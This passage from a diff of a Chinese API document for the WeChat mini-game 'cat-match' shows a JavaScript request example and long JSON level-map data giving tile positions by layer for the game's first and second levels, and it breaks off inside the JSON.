}, + { + "rolNum" : 40, + "rowNum" : 48, + "blockNode" : null, + "id" : "1-40-48", + "moldType" : 2, + "type" : 0, + "layerNum" : 1 + } + ], + "2" : [ + { + "rolNum" : 16, + "rowNum" : 36, + "blockNode" : null, + "id" : "2-16-36", + "moldType" : 1, + "type" : 0, + "layerNum" : 2 + }, + { + "rolNum" : 28, + "rowNum" : 36, + "blockNode" : null, + "id" : "2-28-36", + "moldType" : 1, + "type" : 0, + "layerNum" : 2 + }, + { + "rolNum" : 40, + "rowNum" : 36, + "blockNode" : null, + "id" : "2-40-36", + "moldType" : 1, + "type" : 0, + "layerNum" : 2 + }, + { + "rolNum" : 16, + "rowNum" : 20, + "blockNode" : null, + "id" : "2-16-20", + "moldType" : 1, + "type" : 1, + "layerNum" : 2 + }, + { + "rolNum" : 28, + "rowNum" : 20, + "blockNode" : null, + "id" : "2-28-20", + "moldType" : 1, + "type" : 1, + "layerNum" : 2 + }, + { + "rolNum" : 40, + "rowNum" : 20, + "blockNode" : null, + "id" : "2-40-20", + "moldType" : 1, + "type" : 1, + "layerNum" : 2 + }, + { + "rolNum" : 16, + "rowNum" : 49, + "blockNode" : null, + "id" : "2-16-49", + "moldType" : 2, + "type" : 0, + "layerNum" : 2 + }, + { + "rolNum" : 28, + "rowNum" : 49, + "blockNode" : null, + "id" : "2-28-49", + "moldType" : 2, + "type" : 0, + "layerNum" : 2 + }, + { + "rolNum" : 40, + "rowNum" : 49, + "blockNode" : null, + "id" : "2-40-49", + "moldType" : 2, + "type" : 0, + "layerNum" : 2 + } + ], + "3" : [ + + ] + } +} +``` +#### 10.4 脚本示例: +```javascript +const url = `https://cat-match-static.easygame2021.com/maps/046ef1bab26e5b9bfe2473ded237b572.txt`; +const method = `GET`; +const headers = { + 'Referer': `https://servicewechat.com/wx141bfb9b73c970a9/29/page-frame.html`, + 'Connection': `keep-alive`, + 'Accept-Encoding': `gzip,compress,br,deflate`, + 'Host': `cat-match-static.easygame2021.com`, + 'User-Agent': `Mozilla/5.0 (iPhone; CPU iPhone OS 16_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 MicroMessenger/8.0.29(0x18001d25) NetType/4G Language/zh_CN` +}; +const body = ``; + +const myRequest = { + url: url, + method: method, + headers: headers, + body: body +}; + +$task.fetch(myRequest).then(response => { + console.log(response.statusCode + "\n\n" + response.body); + $done(); +}, reason => { + console.log(reason.error); + $done(); +}); +``` + +
+ + +### 11、获取第二关地图接口 +
+点击展开 + +#### 11.1 请求URL:https://cat-match-static.easygame2021.com/maps/d9d5f97bbf1c587b34da2120da77c22e.txt +#### 11.2 请求体: +```json + 无请求体 +``` +#### 11.3 响应体: +
+点击展开json内容 + +```json +{ + "levelData" : { + "18" : [ + { + "rolNum" : 20, + "rowNum" : 16, + "blockNode" : null, + "id" : "18-20-16", + "moldType" : 1, + "type" : 0, + "layerNum" : 18 + }, + { + "rolNum" : 28, + "rowNum" : 16, + "blockNode" : null, + "id" : "18-28-16", + "moldType" : 1, + "type" : 0, + "layerNum" : 18 + }, + { + "rolNum" : 16, + "rowNum" : 24, + "blockNode" : null, + "id" : "18-16-24", + "moldType" : 1, + "type" : 0, + "layerNum" : 18 + }, + { + "rolNum" : 16, + "rowNum" : 32, + "blockNode" : null, + "id" : "18-16-32", + "moldType" : 1, + "type" : 0, + "layerNum" : 18 + }, + { + "rolNum" : 24, + "rowNum" : 24, + "blockNode" : null, + "id" : "18-24-24", + "moldType" : 1, + "type" : 0, + "layerNum" : 18 + }, + { + "rolNum" : 40, + "rowNum" : 32, + "blockNode" : null, + "id" : "18-40-32", + "moldType" : 1, + "type" : 0, + "layerNum" : 18 + }, + { + "rolNum" : 32, + "rowNum" : 40, + "blockNode" : null, + "id" : "18-32-40", + "moldType" : 1, + "type" : 0, + "layerNum" : 18 + }, + { + "rolNum" : 40, + "rowNum" : 40, + "blockNode" : null, + "id" : "18-40-40", + "moldType" : 1, + "type" : 0, + "layerNum" : 18 + }, + { + "rolNum" : 32, + "rowNum" : 48, + "blockNode" : null, + "id" : "18-32-48", + "moldType" : 1, + "type" : 0, + "layerNum" : 18 + }, + { + "rolNum" : 40, + "rowNum" : 12, + "blockNode" : null, + "id" : "18-40-12", + "moldType" : 1, + "type" : 0, + "layerNum" : 18 + }, + { + "rolNum" : 36, + "rowNum" : 20, + "blockNode" : null, + "id" : "18-36-20", + "moldType" : 1, + "type" : 0, + "layerNum" : 18 + }, + { + "rolNum" : 44, + "rowNum" : 20, + "blockNode" : null, + "id" : "18-44-20", + "moldType" : 1, + "type" : 0, + "layerNum" : 18 + }, + { + "rolNum" : 12, + "rowNum" : 44, + "blockNode" : null, + "id" : "18-12-44", + "moldType" : 1, + "type" : 0, + "layerNum" : 18 + }, + { + "rolNum" : 20, + "rowNum" : 44, + "blockNode" : null, + "id" : "18-20-44", + "moldType" : 1, + "type" : 0, + "layerNum" : 18 + }, + { + "rolNum" : 20, + "rowNum" : 52, + "blockNode" : null, + "id" : "18-20-52", + "moldType" : 1, + "type" : 0, + "layerNum" : 18 + } + ], + "10" : [ + { + "rolNum" : 24, + "rowNum" : 24, + "blockNode" : null, + "id" : "10-24-24", + "moldType" : 1, + "type" : 0, + "layerNum" : 10 + }, + { + "rolNum" : 32, + "rowNum" : 40, + "blockNode" : null, + "id" : "10-32-40", + "moldType" : 1, + "type" : 0, + "layerNum" : 10 + }, + { + "rolNum" : 24, + "rowNum" : 36, + "blockNode" : null, + "id" : "10-24-36", + "moldType" : 1, + "type" : 0, + "layerNum" : 10 + }, + { + "rolNum" : 32, + "rowNum" : 28, + "blockNode" : null, + "id" : "10-32-28", + "moldType" : 1, + "type" : 0, + "layerNum" : 10 + }, + { + "rolNum" : 4, + "rowNum" : 37, + "blockNode" : null, + "id" : "10-4-37", + "moldType" : 2, + "type" : 0, + "layerNum" : 10 + }, + { + "rolNum" : 52, + "rowNum" : 37, + "blockNode" : null, + "id" : "10-52-37", + "moldType" : 2, + "type" : 0, + "layerNum" : 10 + } + ], + "19" : [ + { + "rolNum" : 16, + "rowNum" : 12, + "blockNode" : null, + "id" : "19-16-12", + "moldType" : 1, + "type" : 0, + "layerNum" : 19 + }, + { + "rolNum" : 24, + "rowNum" : 12, + "blockNode" : null, + "id" : "19-24-12", + "moldType" : 1, + "type" : 0, + "layerNum" : 19 + }, + { + "rolNum" : 32, + "rowNum" : 12, + "blockNode" : null, + "id" : "19-32-12", + "moldType" : 1, + "type" : 0, + "layerNum" : 19 + }, + { + "rolNum" : 12, + "rowNum" : 20, + "blockNode" : null, + "id" : "19-12-20", + "moldType" : 1, + "type" : 0, + "layerNum" : 19 + }, + { + "rolNum" : 20, + "rowNum" : 20, + "blockNode" : null, + "id" : "19-20-20", + "moldType" : 1, + "type" : 0, + "layerNum" : 19 + }, + { + "rolNum" : 28, + "rowNum" : 20, + "blockNode" : null, + "id" : "19-28-20", + "moldType" : 1, + "type" : 0, + "layerNum" : 19 + }, + { + "rolNum" : 12, + "rowNum" : 28, + "blockNode" : null, + "id" : "19-12-28", + "moldType" : 1, + "type" : 0, + "layerNum" : 19 + }, + { + "rolNum" : 20, + "rowNum" : 28, + "blockNode" : null, + "id" : "19-20-28", + "moldType" : 1, + "type" : 0, + "layerNum" : 19 + }, + { + "rolNum" : 28, + "rowNum" : 28, + "blockNode" : null, + "id" : "19-28-28", + "moldType" : 1, + "type" : 0, + "layerNum" : 19 + }, + { + "rolNum" : 36, + "rowNum" : 28, + "blockNode" : null, + "id" : "19-36-28", + "moldType" : 1, + "type" : 0, + "layerNum" : 19 + }, + { + "rolNum" : 44, + "rowNum" : 28, + "blockNode" : null, + "id" : "19-44-28", + "moldType" : 1, + "type" : 0, + "layerNum" : 19 + }, + { + "rolNum" : 12, + "rowNum" : 36, + "blockNode" : null, + "id" : "19-12-36", + "moldType" : 1, + "type" : 0, + "layerNum" : 19 + }, + { + "rolNum" : 20, + "rowNum" : 36, + "blockNode" : null, + "id" : "19-20-36", + "moldType" : 1, + "type" : 0, + "layerNum" : 19 + }, + { + "rolNum" : 28, + "rowNum" : 36, + "blockNode" : null, + "id" : "19-28-36", + "moldType" : 1, + "type" : 0, + "layerNum" : 19 + }, + { + "rolNum" : 36, + "rowNum" : 36, + "blockNode" : null, + "id" : "19-36-36", + "moldType" : 1, + "type" : 0, + "layerNum" : 19 + }, + { + "rolNum" : 44, + "rowNum" : 36, + "blockNode" : null, + "id" : "19-44-36", + "moldType" : 1, + "type" : 0, + "layerNum" : 19 + }, + { + "rolNum" : 28, + "rowNum" : 44, + "blockNode" : null, + "id" : "19-28-44", + "moldType" : 1, + "type" : 0, + "layerNum" : 19 + }, + { + "rolNum" : 36, + "rowNum" : 44, + "blockNode" : null, + "id" : "19-36-44", + "moldType" : 1, + "type" : 0, + "layerNum" : 19 + }, + { + "rolNum" : 44, + "rowNum" : 44, + "blockNode" : null, + "id" : "19-44-44", + "moldType" : 1, + "type" : 0, + "layerNum" : 19 + }, + { + "rolNum" : 28, + "rowNum" : 52, + "blockNode" : null, + "id" : "19-28-52", + "moldType" : 1, + "type" : 0, + "layerNum" : 19 + }, + { + "rolNum" : 36, + "rowNum" : 52, + "blockNode" : null, + "id" : "19-36-52", + "moldType" : 1, + "type" : 0, + "layerNum" : 19 + }, + { + "rolNum" : 44, + "rowNum" : 8, + "blockNode" : null, + "id" : "19-44-8", + "moldType" : 1, + "type" : 0, + "layerNum" : 19 + }, + { + "rolNum" : 40, + "rowNum" : 16, + "blockNode" : null, + "id" : "19-40-16", + "moldType" : 1, + "type" : 0, + "layerNum" : 19 + }, + { + "rolNum" : 48, + "rowNum" : 16, + "blockNode" : null, + "id" : "19-48-16", + "moldType" : 1, + "type" : 0, + "layerNum" : 19 + }, + { + "rolNum" : 16, + "rowNum" : 48, + "blockNode" : null, + "id" : "19-16-48", + "moldType" : 1, + "type" : 0, + "layerNum" : 19 + }, + { + "rolNum" : 20, + "rowNum" : 56, + "blockNode" : null, + "id" : "19-20-56", + "moldType" : 1, + "type" : 0, + "layerNum" : 19 + } + ], + "11" : [ + { + "rolNum" : 24, + "rowNum" : 28, + "blockNode" : null, + "id" : "11-24-28", + "moldType" : 1, + "type" : 0, + "layerNum" : 11 + }, + { + "rolNum" : 32, + "rowNum" : 36, + "blockNode" : null, + "id" : "11-32-36", + "moldType" : 1, + "type" : 0, + "layerNum" : 11 + }, + { + "rolNum" : 36, + "rowNum" : 24, + "blockNode" : null, + "id" : "11-36-24", + "moldType" : 1, + "type" : 0, + "layerNum" : 11 + }, + { + "rolNum" : 20, + "rowNum" : 40, + "blockNode" : null, + "id" : "11-20-40", + "moldType" : 1, + "type" : 0, + "layerNum" : 11 + }, + { + "rolNum" : 4, + "rowNum" : 38, + "blockNode" : null, + "id" : "11-4-38", + "moldType" : 2, + "type" : 0, + "layerNum" : 11 + }, + { + "rolNum" : 52, + "rowNum" : 38, + "blockNode" : null, + "id" : "11-52-38", + "moldType" : 2, + "type" : 0, + "layerNum" : 11 + } + ], + "12" : [ + { + "rolNum" : 20, + "rowNum" : 24, + "blockNode" : null, + "id" : "12-20-24", + "moldType" : 1, + "type" : 0, + "layerNum" : 12 + }, + { + "rolNum" : 36, + "rowNum" : 40, + "blockNode" : null, + "id" : "12-36-40", + "moldType" : 1, + "type" : 0, + "layerNum" : 12 + }, + { + "rolNum" : 32, + "rowNum" : 20, + "blockNode" : null, + "id" : "12-32-20", + "moldType" : 1, + "type" : 0, + "layerNum" : 12 + }, + { + "rolNum" : 40, + "rowNum" : 28, + "blockNode" : null, + "id" : "12-40-28", + "moldType" : 1, + "type" : 0, + "layerNum" : 12 + }, + { + "rolNum" : 16, + "rowNum" : 36, + "blockNode" : null, + "id" : "12-16-36", + "moldType" : 1, + "type" : 0, + "layerNum" : 12 + }, + { + "rolNum" : 24, + "rowNum" : 44, + "blockNode" : null, + "id" : "12-24-44", + "moldType" : 1, + "type" : 0, + "layerNum" : 12 + }, + { + "rolNum" : 24, + "rowNum" : 32, + "blockNode" : null, + "id" : "12-24-32", + "moldType" : 1, + "type" : 0, + "layerNum" : 12 + }, + { + "rolNum" : 32, + "rowNum" : 32, + "blockNode" : null, + "id" : "12-32-32", + "moldType" : 1, + "type" : 0, + "layerNum" : 12 + }, + { + "rolNum" : 4, + "rowNum" : 39, + "blockNode" : null, + "id" : "12-4-39", + "moldType" : 2, + "type" : 0, + "layerNum" : 12 + }, + { + "rolNum" : 52, + "rowNum" : 39, + "blockNode" : null, + "id" : "12-52-39", + "moldType" : 2, + "type" : 0, + "layerNum" : 12 + } + ], + "1" : [ + { + "rolNum" : 28, + "rowNum" : 32, + "blockNode" : null, + "id" : "1-28-32", + "moldType" : 1, + "type" : 0, + "layerNum" : 1 + }, + { + "rolNum" : 4, + "rowNum" : 28, + "blockNode" : null, + "id" : "1-4-28", + "moldType" : 2, + "type" : 0, + "layerNum" : 1 + }, + { + "rolNum" : 52, + "rowNum" : 28, + "blockNode" : null, + "id" : "1-52-28", + "moldType" : 2, + "type" : 0, + "layerNum" : 1 + }, + { + "rolNum" : 4, + "rowNum" : 56, + "blockNode" : null, + "id" : "1-4-56", + "moldType" : 1, + "type" : 0, + "layerNum" : 1 + }, + { + "rolNum" : 12, + "rowNum" : 56, + "blockNode" : null, + "id" : "1-12-56", + "moldType" : 1, + "type" : 0, + "layerNum" : 1 + }, + { + "rolNum" : 44, + "rowNum" : 56, + "blockNode" : null, + "id" : "1-44-56", + "moldType" : 1, + "type" : 0, + "layerNum" : 1 + }, + { + "rolNum" : 52, + "rowNum" : 56, + "blockNode" : null, + "id" : "1-52-56", + "moldType" : 1, + "type" : 0, + "layerNum" : 1 + } + ], + "20" : [ + { + "rolNum" : 12, + "rowNum" : 8, + "blockNode" : null, + "id" : "20-12-8", + "moldType" : 1, + "type" : 0, + "layerNum" : 20 + }, + { + "rolNum" : 20, + "rowNum" : 8, + "blockNode" : null, + "id" : "20-20-8", + "moldType" : 1, + "type" : 0, + "layerNum" : 20 + }, + { + "rolNum" : 28, + "rowNum" : 8, + "blockNode" : null, + "id" : "20-28-8", + "moldType" : 1, + "type" : 0, + "layerNum" : 20 + }, + { + "rolNum" : 36, + "rowNum" : 8, + "blockNode" : null, + "id" : "20-36-8", + "moldType" : 1, + "type" : 0, + "layerNum" : 20 + }, + { + "rolNum" : 8, + "rowNum" : 16, + "blockNode" : null, + "id" : "20-8-16", + "moldType" : 1, + "type" : 0, + "layerNum" : 20 + }, + { + "rolNum" : 16, + "rowNum" : 16, + "blockNode" : null, + "id" : "20-16-16", + "moldType" : 1, + "type" : 0, + "layerNum" : 20 + }, + { + "rolNum" : 24, + "rowNum" : 16, + "blockNode" : null, + "id" : "20-24-16", + "moldType" : 1, + "type" : 0, + "layerNum" : 20 + }, + { + "rolNum" : 32, + "rowNum" : 16, + "blockNode" : null, + "id" : "20-32-16", + "moldType" : 1, + "type" : 0, + "layerNum" : 20 + }, + { + "rolNum" : 12, + "rowNum" : 24, + "blockNode" : null, + "id" : "20-12-24", + "moldType" : 1, + "type" : 0, + "layerNum" : 20 + }, + { + "rolNum" : 20, + "rowNum" : 24, + "blockNode" : null, + "id" : "20-20-24", + "moldType" : 1, + "type" : 0, + "layerNum" : 20 + }, + { + "rolNum" : 28, + "rowNum" : 24, + "blockNode" : null, + "id" : "20-28-24", + "moldType" : 1, + "type" : 0, + "layerNum" : 20 + }, + { + "rolNum" : 36, + "rowNum" : 24, + "blockNode" : null, + "id" : "20-36-24", + "moldType" : 1, + "type" : 0, + "layerNum" : 20 + }, + { + "rolNum" : 44, + "rowNum" : 24, + "blockNode" : null, + "id" : "20-44-24", + "moldType" : 1, + "type" : 0, + "layerNum" : 20 + }, + { + "rolNum" : 12, + "rowNum" : 32, + "blockNode" : null, + "id" : "20-12-32", + "moldType" : 1, + "type" : 0, + "layerNum" : 20 + }, + { + "rolNum" : 20, + "rowNum" : 32, + "blockNode" : null, + "id" : "20-20-32", + "moldType" : 1, + "type" : 0, + "layerNum" : 20 + }, + { + "rolNum" : 28, + "rowNum" : 32, + "blockNode" : null, + "id" : "20-28-32", + "moldType" : 1, + "type" : 0, + "layerNum" : 20 + }, + { + "rolNum" : 36, + "rowNum" : 32, + "blockNode" : null, + "id" : "20-36-32", + "moldType" : 1, + "type" : 0, + "layerNum" : 20 + }, + { + "rolNum" : 44, + "rowNum" : 32, + "blockNode" : null, + "id" : "20-44-32", + "moldType" : 1, + "type" : 0, + "layerNum" : 20 + }, + { + "rolNum" : 12, + "rowNum" : 40, + "blockNode" : null, + "id" : "20-12-40", + "moldType" : 1, + "type" : 0, + "layerNum" : 20 + }, + { + "rolNum" : 20, + "rowNum" : 40, + "blockNode" : null, + "id" : "20-20-40", + "moldType" : 1, + "type" : 0, + "layerNum" : 20 + }, + { + "rolNum" : 28, + "rowNum" : 40, + "blockNode" : null, + "id" : "20-28-40", + "moldType" : 1, + "type" : 0, + "layerNum" : 20 + }, + { + "rolNum" : 36, + "rowNum" : 40, + "blockNode" : null, + "id" : "20-36-40", + "moldType" : 1, + "type" : 0, + "layerNum" : 20 + }, + { + "rolNum" : 44, + "rowNum" : 40, + "blockNode" : null, + "id" : "20-44-40", + "moldType" : 1, + "type" : 0, + "layerNum" : 20 + }, + { + "rolNum" : 24, + "rowNum" : 48, + "blockNode" : null, + "id" : "20-24-48", + "moldType" : 1, + "type" : 0, + "layerNum" : 20 + }, + { + "rolNum" : 32, + "rowNum" : 48, + "blockNode" : null, + "id" : "20-32-48", + "moldType" : 1, + "type" : 0, + "layerNum" : 20 + }, + { + "rolNum" : 40, + "rowNum" : 48, + "blockNode" : null, + "id" : "20-40-48", + "moldType" : 1, + "type" : 0, + "layerNum" : 20 + }, + { + "rolNum" : 48, + "rowNum" : 4, + "blockNode" : null, + "id" : "20-48-4", + "moldType" : 1, + "type" : 0, + "layerNum" : 20 + }, + { + "rolNum" : 44, + "rowNum" : 12, + "blockNode" : null, + "id" : "20-44-12", + "moldType" : 1, + "type" : 0, + "layerNum" : 20 + }, + { + "rolNum" : 28, + "rowNum" : 56, + "blockNode" : null, + "id" : "20-28-56", + "moldType" : 1, + "type" : 0, + "layerNum" : 20 + }, + { + "rolNum" : 36, + "rowNum" : 56, + "blockNode" : null, + "id" : "20-36-56", + "moldType" : 1, + "type" : 0, + "layerNum" : 20 + }, + { + "rolNum" : 16, + "rowNum" : 52, + "blockNode" : null, + "id" : "20-16-52", + "moldType" : 1, + "type" : 0, + "layerNum" : 20 + } + ], + "2" : [ + { + "rolNum" : 24, + "rowNum" : 28, + "blockNode" : null, + "id" : "2-24-28", + "moldType" : 1, + "type" : 0, + "layerNum" : 2 + }, + { + "rolNum" : 32, + "rowNum" : 36, + "blockNode" : null, + "id" : "2-32-36", + "moldType" : 1, + "type" : 0, + "layerNum" : 2 + }, + { + "rolNum" : 4, + "rowNum" : 29, + "blockNode" : null, + "id" : "2-4-29", + "moldType" : 2, + "type" : 0, + "layerNum" : 2 + }, + { + "rolNum" : 52, + "rowNum" : 29, + "blockNode" : null, + "id" : "2-52-29", + "moldType" : 2, + "type" : 0, + "layerNum" : 2 + }, + { + "rolNum" : 8, + "rowNum" : 52, + "blockNode" : null, + "id" : "2-8-52", + "moldType" : 1, + "type" : 0, + "layerNum" : 2 + }, + { + "rolNum" : 48, + "rowNum" : 52, + "blockNode" : null, + "id" : "2-48-52", + "moldType" : 1, + "type" : 0, + "layerNum" : 2 + } + ], + "13" : [ + { + "rolNum" : 24, + "rowNum" : 20, + "blockNode" : null, + "id" : "13-24-20", + "moldType" : 1, + "type" : 0, + "layerNum" : 13 + }, + { + "rolNum" : 16, + "rowNum" : 28, + "blockNode" : null, + "id" : "13-16-28", + "moldType" : 1, + "type" : 0, + "layerNum" : 13 + }, + { + "rolNum" : 32, + "rowNum" : 44, + "blockNode" : null, + "id" : "13-32-44", + "moldType" : 1, + "type" : 0, + "layerNum" : 13 + }, + { + "rolNum" : 40, + "rowNum" : 36, + "blockNode" : null, + "id" : "13-40-36", + "moldType" : 1, + "type" : 0, + "layerNum" : 13 + }, + { + "rolNum" : 36, + "rowNum" : 24, + "blockNode" : null, + "id" : "13-36-24", + "moldType" : 1, + "type" : 0, + "layerNum" : 13 + }, + { + "rolNum" : 20, + "rowNum" : 40, + "blockNode" : null, + "id" : "13-20-40", + "moldType" : 1, + "type" : 0, + "layerNum" : 13 + }, + { + "rolNum" : 4, + "rowNum" : 40, + "blockNode" : null, + "id" : "13-4-40", + "moldType" : 2, + "type" : 0, + "layerNum" : 13 + }, + { + "rolNum" : 52, + "rowNum" : 40, + "blockNode" : null, + "id" : "13-52-40", + "moldType" : 2, + "type" : 0, + "layerNum" : 13 + } + ], + "3" : [ + { + "rolNum" : 28, + "rowNum" : 28, + "blockNode" : null, + "id" : "3-28-28", + "moldType" : 1, + "type" : 0, + "layerNum" : 3 + }, + { + "rolNum" : 28, + "rowNum" : 36, + "blockNode" : null, + "id" : "3-28-36", + "moldType" : 1, + "type" : 0, + "layerNum" : 3 + }, + { + "rolNum" : 4, + "rowNum" : 30, + "blockNode" : null, + "id" : "3-4-30", + "moldType" : 2, + "type" : 0, + "layerNum" : 3 + }, + { + "rolNum" : 52, + "rowNum" : 30, + "blockNode" : null, + "id" : "3-52-30", + "moldType" : 2, + "type" : 0, + "layerNum" : 3 + } + ], + "21" : [ + { + "rolNum" : 8, + "rowNum" : 4, + "blockNode" : null, + "id" : "21-8-4", + "moldType" : 1, + "type" : 0, + "layerNum" : 21 + }, + { + "rolNum" : 16, + "rowNum" : 4, + "blockNode" : null, + "id" : "21-16-4", + "moldType" : 1, + "type" : 0, + "layerNum" : 21 + }, + { + "rolNum" : 24, + "rowNum" : 4, + "blockNode" : null, + "id" : "21-24-4", + "moldType" : 1, + "type" : 0, + "layerNum" : 21 + }, + { + "rolNum" : 32, + "rowNum" : 4, + "blockNode" : null, + "id" : "21-32-4", + "moldType" : 1, + "type" : 0, + "layerNum" : 21 + }, + { + "rolNum" : 40, + "rowNum" : 4, + "blockNode" : null, + "id" : "21-40-4", + "moldType" : 1, + "type" : 0, + "layerNum" : 21 + }, + { + "rolNum" : 52, + "rowNum" : 0, + "blockNode" : null, + "id" : "21-52-0", + "moldType" : 1, + "type" : 0, + "layerNum" : 21 + }, + { + "rolNum" : 12, + "rowNum" : 12, + "blockNode" : null, + "id" : "21-12-12", + "moldType" : 1, + "type" : 0, + "layerNum" : 21 + }, + { + "rolNum" : 20, + "rowNum" : 12, + "blockNode" : null, + "id" : "21-20-12", + "moldType" : 1, + "type" : 0, + "layerNum" : 21 + }, + { + "rolNum" : 28, + "rowNum" : 12, + "blockNode" : null, + "id" : "21-28-12", + "moldType" : 1, + "type" : 0, + "layerNum" : 21 + }, + { + "rolNum" : 36, + "rowNum" : 12, + "blockNode" : null, + "id" : "21-36-12", + "moldType" : 1, + "type" : 0, + "layerNum" : 21 + }, + { + "rolNum" : 16, + "rowNum" : 20, + "blockNode" : null, + "id" : "21-16-20", + "moldType" : 1, + "type" : 0, + "layerNum" : 21 + }, + { + "rolNum" : 24, + "rowNum" : 20, + "blockNode" : null, + "id" : "21-24-20", + "moldType" : 1, + "type" : 0, + "layerNum" : 21 + }, + { + "rolNum" : 32, + "rowNum" : 20, + "blockNode" : null, + "id" : "21-32-20", + "moldType" : 1, + "type" : 0, + "layerNum" : 21 + }, + { + "rolNum" : 40, + "rowNum" : 20, + "blockNode" : null, + "id" : "21-40-20", + "moldType" : 1, + "type" : 0, + "layerNum" : 21 + }, + { + "rolNum" : 20, + "rowNum" : 28, + "blockNode" : null, + "id" : "21-20-28", + "moldType" : 1, + "type" : 0, + "layerNum" : 21 + }, + { + "rolNum" : 28, + "rowNum" : 28, + "blockNode" : null, + "id" : "21-28-28", + "moldType" : 1, + "type" : 0, + "layerNum" : 21 + }, + { + "rolNum" : 36, + "rowNum" : 28, + "blockNode" : null, + "id" : "21-36-28", + "moldType" : 1, + "type" : 0, + "layerNum" : 21 + }, + { + "rolNum" : 12, + "rowNum" : 28, + "blockNode" : null, + "id" : "21-12-28", + "moldType" : 1, + "type" : 0, + "layerNum" : 21 + }, + { + "rolNum" : 44, + "rowNum" : 28, + "blockNode" : null, + "id" : "21-44-28", + "moldType" : 1, + "type" : 0, + "layerNum" : 21 + }, + { + "rolNum" : 12, + "rowNum" : 36, + "blockNode" : null, + "id" : "21-12-36", + "moldType" : 1, + "type" : 0, + "layerNum" : 21 + }, + { + "rolNum" : 12, + "rowNum" : 44, + "blockNode" : null, + "id" : "21-12-44", + "moldType" : 1, + "type" : 0, + "layerNum" : 21 + }, + { + "rolNum" : 20, + "rowNum" : 44, + "blockNode" : null, + "id" : "21-20-44", + "moldType" : 1, + "type" : 0, + "layerNum" : 21 + }, + { + "rolNum" : 28, + "rowNum" : 44, + "blockNode" : null, + "id" : "21-28-44", + "moldType" : 1, + "type" : 0, + "layerNum" : 21 + }, + { + "rolNum" : 36, + "rowNum" : 44, + "blockNode" : null, + "id" : "21-36-44", + "moldType" : 1, + "type" : 0, + "layerNum" : 21 + }, + { + "rolNum" : 44, + "rowNum" : 44, + "blockNode" : null, + "id" : "21-44-44", + "moldType" : 1, + "type" : 0, + "layerNum" : 21 + }, + { + "rolNum" : 44, + "rowNum" : 36, + "blockNode" : null, + "id" : "21-44-36", + "moldType" : 1, + "type" : 0, + "layerNum" : 21 + }, + { + "rolNum" : 40, + "rowNum" : 52, + "blockNode" : null, + "id" : "21-40-52", + "moldType" : 1, + "type" : 0, + "layerNum" : 21 + } + ], + "14" : [ + { + "rolNum" : 20, + "rowNum" : 24, + "blockNode" : null, + "id" : "14-20-24", + "moldType" : 1, + "type" : 0, + "layerNum" : 14 + }, + { + "rolNum" : 36, + "rowNum" : 40, + "blockNode" : null, + "id" : "14-36-40", + "moldType" : 1, + "type" : 0, + "layerNum" : 14 + }, + { + "rolNum" : 32, + "rowNum" : 20, + "blockNode" : null, + "id" : "14-32-20", + "moldType" : 1, + "type" : 0, + "layerNum" : 14 + }, + { + "rolNum" : 16, + "rowNum" : 36, + "blockNode" : null, + "id" : "14-16-36", + "moldType" : 1, + "type" : 0, + "layerNum" : 14 + }, + { + "rolNum" : 40, + "rowNum" : 28, + "blockNode" : null, + "id" : "14-40-28", + "moldType" : 1, + "type" : 0, + "layerNum" : 14 + }, + { + "rolNum" : 24, + "rowNum" : 44, + "blockNode" : null, + "id" : "14-24-44", + "moldType" : 1, + "type" : 0, + "layerNum" : 14 + } + ], + "4" : [ + { + "rolNum" : 32, + "rowNum" : 28, + "blockNode" : null, + "id" : "4-32-28", + "moldType" : 1, + "type" : 0, + "layerNum" : 4 + }, + { + "rolNum" : 24, + "rowNum" : 36, + "blockNode" : null, + "id" : "4-24-36", + "moldType" : 1, + "type" : 0, + "layerNum" : 4 + }, + { + "rolNum" : 24, + "rowNum" : 28, + "blockNode" : null, + "id" : "4-24-28", + "moldType" : 1, + "type" : 0, + "layerNum" : 4 + }, + { + "rolNum" : 32, + "rowNum" : 36, + "blockNode" : null, + "id" : "4-32-36", + "moldType" : 1, + "type" : 0, + "layerNum" : 4 + }, + { + "rolNum" : 4, + "rowNum" : 31, + "blockNode" : null, + "id" : "4-4-31", + "moldType" : 2, + "type" : 0, + "layerNum" : 4 + }, + { + "rolNum" : 52, + "rowNum" : 31, + "blockNode" : null, + "id" : "4-52-31", + "moldType" : 2, + "type" : 0, + "layerNum" : 4 + } + ], + "5" : [ + { + "rolNum" : 24, + "rowNum" : 32, + "blockNode" : null, + "id" : "5-24-32", + "moldType" : 1, + "type" : 0, + "layerNum" : 5 + }, + { + "rolNum" : 32, + "rowNum" : 32, + "blockNode" : null, + "id" : "5-32-32", + "moldType" : 1, + "type" : 0, + "layerNum" : 5 + }, + { + "rolNum" : 20, + "rowNum" : 24, + "blockNode" : null, + "id" : "5-20-24", + "moldType" : 1, + "type" : 0, + "layerNum" : 5 + }, + { + "rolNum" : 36, + "rowNum" : 40, + "blockNode" : null, + "id" : "5-36-40", + "moldType" : 1, + "type" : 0, + "layerNum" : 5 + }, + { + "rolNum" : 4, + "rowNum" : 32, + "blockNode" : null, + "id" : "5-4-32", + "moldType" : 2, + "type" : 0, + "layerNum" : 5 + }, + { + "rolNum" : 52, + "rowNum" : 32, + "blockNode" : null, + "id" : "5-52-32", + "moldType" : 2, + "type" : 0, + "layerNum" : 5 + } + ], + "15" : [ + { + "rolNum" : 24, + "rowNum" : 20, + "blockNode" : null, + "id" : "15-24-20", + "moldType" : 1, + "type" : 0, + "layerNum" : 15 + }, + { + "rolNum" : 16, + "rowNum" : 28, + "blockNode" : null, + "id" : "15-16-28", + "moldType" : 1, + "type" : 0, + "layerNum" : 15 + }, + { + "rolNum" : 40, + "rowNum" : 36, + "blockNode" : null, + "id" : "15-40-36", + "moldType" : 1, + "type" : 0, + "layerNum" : 15 + }, + { + "rolNum" : 32, + "rowNum" : 44, + "blockNode" : null, + "id" : "15-32-44", + "moldType" : 1, + "type" : 0, + "layerNum" : 15 + }, + { + "rolNum" : 36, + "rowNum" : 24, + "blockNode" : null, + "id" : "15-36-24", + "moldType" : 1, + "type" : 0, + "layerNum" : 15 + }, + { + "rolNum" : 20, + "rowNum" : 40, + "blockNode" : null, + "id" : "15-20-40", + "moldType" : 1, + "type" : 0, + "layerNum" : 15 + } + ], + "22" : [ + { + "rolNum" : 4, + "rowNum" : 0, + "blockNode" : null, + "id" : "22-4-0", + "moldType" : 1, + "type" : 0, + "layerNum" : 22 + }, + { + "rolNum" : 12, + "rowNum" : 0, + "blockNode" : null, + "id" : "22-12-0", + "moldType" : 1, + "type" : 0, + "layerNum" : 22 + }, + { + "rolNum" : 20, + "rowNum" : 0, + "blockNode" : null, + "id" : "22-20-0", + 